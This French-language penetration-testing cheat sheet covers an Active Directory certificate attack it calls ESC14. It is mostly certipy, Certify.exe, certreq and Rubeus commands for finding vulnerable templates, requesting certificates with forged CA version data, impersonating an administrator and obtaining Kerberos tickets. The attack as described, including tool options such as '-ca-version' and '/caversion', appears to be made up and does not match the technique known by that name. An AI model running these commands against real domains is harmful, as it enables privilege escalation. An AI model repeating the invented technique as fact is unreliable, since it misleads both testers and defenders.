### Description ESC14 exploite des modèles de certificats qui utilisent des attributs `szOID_CERTSRV_CA_VERSION` ou des extensions de version CA malformées, permettant à un attaquant de créer des certificats avec des informations de version CA manipulées qui peuvent contourner certaines vérifications de validation ou être utilisées pour l'usurpation d'autorité de certification. ### Conditions vulnérables Un modèle de certificat est vulnérable à ESC14 si : 1. **Extensions de version CA manipulables** - Le modèle permet la modification des attributs `szOID_CERTSRV_CA_VERSION` 2. **Validation insuffisante des extensions** - La CA n'effectue pas de validation stricte des extensions de version 3. **Enrollment autorisé** - L'utilisateur a les droits `Enroll` ou `AutoEnroll` 4. **Contournement possible des vérifications** - Les applications clientes acceptent des versions CA malformées --- ### Exploitation depuis linux (certipy) Enumération des templates avec extensions de version vulnérables : ```bash certipy find -u [email protected] -p password -target dc01.domain.local # Énumération avec focus sur les extensions CA certipy find -u [email protected] -p password -target dc01.domain.local -json -output vulnerabilities.json # Recherche spécifique des templates avec CA version extensions certipy find -u [email protected] -p password -target dc01.domain.local -vulnerable | grep -A10 -B5 "CA.*Version\|szOID_CERTSRV" ``` Exploitation avec manipulation de version CA : ```bash # Demande d'un certificat avec version CA manipulée certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'CAVersionTemplate' -ca-version "2.0.fake.version" # Avec forge d'attributs CA spécifiques certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'VersionTemplate' -ca-version "1.0" -ca-info "Fake CA Information" ``` Exploitation avec certificat de CA usurpée : ```bash # Tentative de création d'un certificat se faisant passer pour une autre CA certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'CAVersionTemplate' -upn [email protected] -ca-version "Enterprise-Root-CA-v1.0" ``` Authentification avec le certificat manipulé : ```bash # Authentification avec le certificat à version CA falsifiée certipy auth -pfx user.pfx -username user -domain domain.local -dc-ip 192.168.1.10 # Si usurpation CA réussie certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip 192.168.1.10 ``` --- ### Exploitation depuis windows (certify.exe) Enumération des templates vulnérables : ```powershell # Énumération des modèles vulnérables Certify.exe find /vulnerable # Filtrage spécifique ESC14 - CA version extensions Certify.exe find /vulnerable | findstr "CA.*Version\|szOID_CERTSRV" # Vérification manuelle des extensions CA Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties * | Where-Object { $_.'msPKI-Certificate-Name-Flag' -ne $null -or $_.'msPKI-Minimal-Key-Size' -ne $null } | ForEach-Object { certutil -v -template $_.Name | findstr "CA.*Version\|Extension" } ``` Exploitation du template vulnérable : ```powershell # Demande d'un certificat avec version CA manipulée Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:CAVersionTemplate /caversion:"2.0.malicious" # Avec attributs CA personnalisés Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:VersionTemplate /caversion:"Enterprise-Root-v1.0" /altname:[email protected] ``` Manipulation via certreq avec INF personnalisé : ```powershell # Création d'un fichier INF avec version CA manipulée @" [NewRequest] Subject = "CN=user,OU=Users,DC=domain,DC=local" KeyUsage = DigitalSignature,KeyEncipherment ProviderName = "Microsoft Enhanced Cryptographic Provider v1.0" KeyLength = 2048 RequestType = PKCS10 [Extensions] 1.3.6.1.4.1.311.21.1 = "{text}2.0.fake.ca.version" 1.3.6.1.4.1.311.21.2 = "{text}Malicious CA Info" "@ | Out-File -FilePath "malicious_request.inf" -Encoding ASCII # Soumission de la demande certreq -new malicious_request.inf malicious_request.req certreq -submit -config "DC01.domain.local\domain-DC01-CA" malicious_request.req malicious_cert.cer ``` Authentification avec le certificat obtenu : ```powershell # Conversion du certificat si nécessaire certutil -mergePFX malicious_cert.cer,private_key.key malicious_cert.pfx # Authentification avec le certificat Rubeus.exe asktgt /user:user /certificate:malicious_cert.pfx /password:password123 /ptt # Test d'usurpation si version CA acceptée Rubeus.exe asktgt /user:administrator /certificate:malicious_cert.pfx /password:password123 /ptt ```